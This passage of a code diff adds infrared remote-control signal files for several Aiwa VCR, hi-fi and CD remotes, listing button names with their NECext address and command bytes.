PLAY_> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: T-REC +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1E 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_UP_^ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 40 00 00 00 +# +name: CHANNEL_DOWN_V +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 41 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 46 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 48 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4C 00 00 00 +# +name: INDEX_SEARCH +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4D 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 50 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 51 00 00 00 +# +name: COUNTER_CLOCK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 56 00 00 00 +# +name: A-TR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 81 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 83 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 84 00 00 00 +# +name: VARIABLE_SEARCH_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 85 00 00 00 +# +name: VARIABLE_SEARCH_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 86 00 00 00 +# +name: INDEX_MARK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 87 00 00 00 +# +name: INDEX_ERASE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8D 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8E 00 00 00 +# +name: SUMMER_TIME +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 90 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir new file mode 100644 index 000000000..124aecfaa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 46 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: B0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir new file mode 100644 index 000000000..cd69a9897 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: s_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: s_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: s_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: s_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: s_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: s_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: s_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: s_+10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: s_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: s_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: s_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: ddp1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: ddp2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: ddp3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir new file mode 100644 index 000000000..2eda2b305 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0D 00 00 00 +# +name: cont +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0F 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 15 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 18 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir new file mode 100644 index 000000000..85d114d11 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0A 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0E 00 00 00 +# +name: COUNTDISPLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: T-REC +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 40 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 41 00 00 00 +# +name: TRACK+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 46 00 00 00 +# +name: TRACK- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4C 00 00 00 +# +name: INDEXSRCH +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4D 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 51 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 56 00 00 00 +# +name: A-TR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 81 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 83 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 84 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 89 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir new file mode 100644 index 000000000..7c16bccda --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 00 00 00 00 +# +name: am +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 01 00 00 00 +# +name: t_up +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 04 00 00 00 +# +name: t_down +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 05 00 00 00 +# +name: v_up +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 07 00 00 00 +# +name: v_down +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 08 00 00 00 +# +name: muting +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 09 00 00 00 +# +name: cdp_program +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0A 00 00 00 +# +name: cdp_play +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0B 00 00 00 +# +name: cdp_memory +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0C 00 00 00 +# +name: cdp_stop +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0D 00 00 00 +# +name: cdp_fskip +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0E 00 00 00 +# +name: cdp_bskip +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 0F 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 11 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 48 00 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir new file mode 100644 index 000000000..b436e0265 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: t-rec +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0E 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0F 00 00 00 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: otpb +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1B 00 00 00 +# +name: vidplus +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1D 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 41 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 42 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 49 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4D 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 50 00 00 00 +# +name: counter +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: tracking +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 52 00 00 00 +# +name: ad-skip +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5C 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir new file mode 100644 index 000000000..45bb9318d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 12 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 51 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 80 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 8F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C4 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C5 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C6 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C7 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C9 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 70 00 00 00 +command: CA 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 70 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir new file mode 100644 index 000000000..accbd6570 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 12 00 00 00 +# +name: tuner_band +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 13 00 00 00 +# +name: geq +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 40 00 00 00 +# +name: tuner_mode +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 4E 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 52 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 5A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 91 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 92 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 93 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 95 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 96 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 97 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 98 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 99 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C4 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C5 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C6 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir new file mode 100644 index 000000000..4d23a3222 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: MONO_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: RANDOM/REPEAT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: EDIT/CHECK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 